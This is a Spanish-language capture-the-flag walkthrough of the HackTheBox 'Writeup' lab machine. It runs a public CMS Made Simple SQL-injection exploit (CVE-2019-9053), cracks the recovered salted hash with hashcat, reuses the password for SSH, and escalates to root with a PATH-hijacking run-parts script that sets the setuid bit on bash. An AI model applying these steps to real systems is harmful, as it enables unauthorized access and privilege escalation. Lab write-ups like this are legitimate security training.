Writeup
Writeup Linux · Easy - Adventure mode
🔭 Reconocimiento:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(pmartinezr㉿kali)-[~/htb/writeup]
└─$ nmap -p- -sSVC --min-rate 5000 10.129.117.151
Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-09 17:35 +0100
Nmap scan report for 10.129.117.151
Host is up (0.044s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u1 (protocol 2.0)
| ssh-hostkey:
| 256 37:2e:14:68:ae:b9:c2:34:2b:6e:d9:92:bc:bf:bd:28 (ECDSA)
|_ 256 93:ea:a8:40:42:c1:a8:33:85:b3:56:00:62:1c:a0:ab (ED25519)
80/tcp open http Apache httpd 2.4.25 ((Debian))
| http-robots.txt: 1 disallowed entry
|_/writeup/
|_http-title: Nothing here yet.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 51.21 seconds
La web en principio no nos da ninguna pista.
1
2
3
4
5
6
7
8
9
10
11
12
# __
# _(\ |@@|
# (__/\__ \--/ __
# \___|----| | __
# \ }{ /\ )_ / _\
# /\__/\ \__O (__
# (--/\--) \__/
# _)( )(_
# `---''---`
# Disallow access to the blog until content is finished.
User-agent: *
Disallow: /writeup/
Siempre es buena idea visitar el fichero robots pues en este caso nos muestra una ruta /writeup
El contenido de esta web contiene writeups de máquinas de HackTheBox.
Y si ponemos atención al código fuente de la página aparece el nombre de un geston de contenido CMS Made Simple
CVE-2019-9053
Al buscar en Internet parece que este CMS tiene una vulnerabilidad y la misma está idexada como CVE.
💣 Preparación:
https://github.com/Dh4nuJ4/SimpleCTF-UpdatedExploit
🪲 Explotación:
1
2
3
4
5
6
┌──(pmartinezr㉿kali)-[~/htb/writeup]
└─$ python updated_46635.py -u http://10.129.117.151/writeup/
[+] Salt for password found: 5a599ef579066807
[+] Username found: jkr
[+] Email found: jkr@writeup.htb
[+] Password found: 62def4866937f08cc13bab43bb14e6f7
La explotación se basa en una una inyección SQL, que irá sacando datos de la base de datos.
👽 Acciones:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
┌──(pmartinezr㉿kali)-[~/htb/writeup]
└─$ hashcat -m 20 "62def4866937f08cc13bab43bb14e6f7:5a599ef579066807" /usr/share/wordlists/rockyou.txt
hashcat (v7.1.2) starting
OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================================
* Device #01: cpu-bdver1-AMD FX(tm)-4300 Quad-Core Processor, 2948/5897 MB (1024 MB allocatable), 4MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Minimum salt length supported by kernel: 0
Maximum salt length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Iterated
* Single-Hash
* Single-Salt
* Raw-Hash
* Register-Limit
ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.
Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.
Host memory allocated for this attack: 513 MB (3534 MB free)
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
62def4866937f08cc13bab43bb14e6f7:5a599ef579066807:raykayjay9
La password está compuesta por un hash:salt que podemos crackear con hashcat y rockyou.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(pmartinezr㉿kali)-[~/htb/writeup]
└─$ ssh jkr@10.129.117.151
The authenticity of host '10.129.117.151 (10.129.117.151)' can't be established.
ED25519 key fingerprint is: SHA256:TRwEhcL3WcCSS2iITDucAKYtASZxNYORzfYzuJlPvN4
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.117.151' (ED25519) to the list of known hosts.
jkr@10.129.117.151's password:
Permission denied, please try again.
jkr@10.129.117.151's password:
Linux writeup 6.1.0-13-amd64 x86_64 GNU/Linux
The programs included with the Devuan GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Oct 25 11:04:00 2023 from 10.10.14.23
jkr@writeup:~$ cat user.txt
4231893a11bcd1829eb************
La password pertenece al usuario jkr que como en mucho retos hace reuso de la clave para SSH. Esto nos lleva a la primera flag de usuario.
1
2
3
4
5
6
7
8
9
╔══════════╣ PATH
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#writable-path-abuses
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
jkr@writeup:~$ sudo -l
-bash: sudo: command not found
jkr@writeup:~$ doas
-bash: doas: command not found
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
Linpeas nos da una pista de que paths podemos aprovechar para incluir algún archivo.
1
2
3
4
5
jkr@writeup:~$ ./pspy32
2026/02/09 14:11:06 CMD: UID=0 PID=20360 | run-parts --lsbsysinit /etc/update-motd.d
2026/02/09 14:11:06 CMD: UID=0 PID=20361 | uname -rnsom
2026/02/09 14:11:06 CMD: UID=0 PID=20362 | sshd: jkr [priv]
2026/02/09 14:11:06 CMD: UID=1000 PID=20363 | -bash
Sin embargo al abrir una segunda sesión de SSH descubrimos que hay un binario que se ejecuta al inicio de la misa run-parts, con lo que podemos realizar un ataque de path hijacking. Básicamente es un ataque donde se puede aprovechar el orden de la variable PATH e incluir un script/ejecutable que se adelanta al que supuestamente debería ejecutarse
1
jkr@writeup:/$ nano /usr/local/bin/run-parts
Ahora crearemos un archivo run-parts malicioso en /usr/local/bin, que sabemos que se ejecutará tan pronto como accedamos por SSH a la máquina. El path original del archivo sería /bin/run-parts, pero lo metemos en el primer path
1
2
#!/bin/bash
chmod u+s /bin/bash
El contenido del archivo run-parts en /usr/local/bin/ Establecemos el bit setuid (Set User ID) para Bash. Esto nos permitirá ejecutarlo con los permisos del propietario
1
2
3
4
5
jkr@writeup:/$ chmod +x /usr/local/bin/run-parts
jkr@writeup:/$ ls /usr/local/bin/
ls: cannot open directory '/usr/local/bin/': Permission denied
jkr@writeup:/$ ls /usr/local/bin/run-parts
/usr/local/bin/run-parts
Parece que not tenemos permisos para abrir el directorio pero sí para escribir en el
1
2
3
4
5
-bash-4.4$ bash -p
bash-4.4# whoami
root
bash-4.4# cat /root/root.txt
721fa459beeab71b247e78cb48388051
Ahora abrimos otra sesion más y se ejecutará el payload escalando los privigegios con bash -p ya que ahora tiene el suid activado.